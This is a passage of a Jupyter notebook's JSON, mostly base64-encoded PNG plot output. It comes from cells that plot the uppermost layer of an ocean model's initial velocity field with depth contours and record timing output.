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", "text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with ProgressBar():\n", " %time initial_conditions.plot(\"u\", s=-1, depth_contours=True) # plot uppermost layer" ] }, { "cell_type": "code", "execution_count": 18, "id": "b161c1df-83df-40d0-b88a-ab47de4078f0", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 24.6 ms, sys: 3.98 ms, total: 28.5 ms\n", "Wall time: 39 ms\n" ] }, { "data": { "image/png": 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1iubm5l7bf1dCVKampvba8VVUVFSOB1Rxr6KioqLSJ3QlRKXqKaqioqLSPY4rn/tXX32VZ555hsrKSsaNG8fLL7/M1KlTj3SxVFRUVI4L8vLy2L9//0Hz9Mb8BCoqKirHE8eNuP/ggw+46qqreP3115k2bRovvPACH330Ebt37yY5OflIF09FRUVFRUVFRUWl2xw34n7atGlMmTKFV155BZBnzszKyuLOO+/k/vvvP8KlU1FRUVFRUVFRUek+x4XPvdvtZsOGDSxatCiQJooi8+fPZ/Xq1SH5XS4XLpcr8Nvv91NfX09CQkKPTduuoqKioqKiotIbSJKEzWYjPT0dUTzygRGdTidut7vH9qfX6zEajT22v2ON40Lc19bW4vP5SElJCUpPSUlh165dIfmffvppHnvssb4qnoqKioqKiopKj1NaWkpmZuYRLYPT6STBFIUDX4/tMzU1lcLCQlXgh+G4EPeRsmjRIhYuXBj43dTURHZ2NoVfv41GqwnK6xswMWT7/U5NSBpAjDE03SIqV3ZJowtJ0xWsU8z72lmhMalPmJaumHfM724PSduXPFkx7546e0jasASLYt5sS6h3l8ZWGZImupTD4EnO0GMJWuXq6U0aFJJW6NQr5tWLoT0tObbdinn99tAQgPs/+Y9i3uTp40LSxGm/UMwreD2hiZJfMa87KikkTSt5lffrdoTuVm8OSfOLoXUJwK/gkaf1K1tWNC21oYlhyuWLzQ5JK7UpXANAo9ATFm9Sfn5a3KHXzKBVtkhFi6HHs0vK18HrV7gOCvUGoMUV+rwqlSHO26S4vcbVGJLmM8Qq5l3TFFre6QnKXpSa6n0haf7YDMW8NlPoJFwWlO+74AtN9xutinm1DaUhad64LMW8mqaq0DSF9wVAU8qYkLQVJaHX9/RM5fsriaHvkUafcl6TLvReun3K13xvfei7rNqufB0TzQccT5K48s7nkTwOJE8rfk9r4P+sAUm0NjfibmnCZWvAaWvC73Ep7vdoRKvVYjAYMBgMmM1moqKiiI+PJz4+HqvVisViCSxWqxWDwXCki3zUkZiYyJw5c8jOziY6OvpIFwe3240DH1eRgb4Hpldy4+ftynLcbrcq7sNwXIj7xMRENBoNVVXBH5SqqirFmMrtL54DiUmIxxoVLG49mTkh+RxNykJGSbTEGJSFjNIHJdqt/LFO0YUK25ToUJEHkJ4RKvobYlMUcoLFbwtJS0hW/rCnxoSeh7Yp9CEWXKEiHgBn6LGEMF2JntTQc7A7lKuyXhMq0tJMdYp5/bbQffhilBszKfExIWmatDTFvHhDP/iCX1kYO6NC74UO5YaA6A69ln59aHm9YV6mSprFiHK5xJbQOhbuHNyx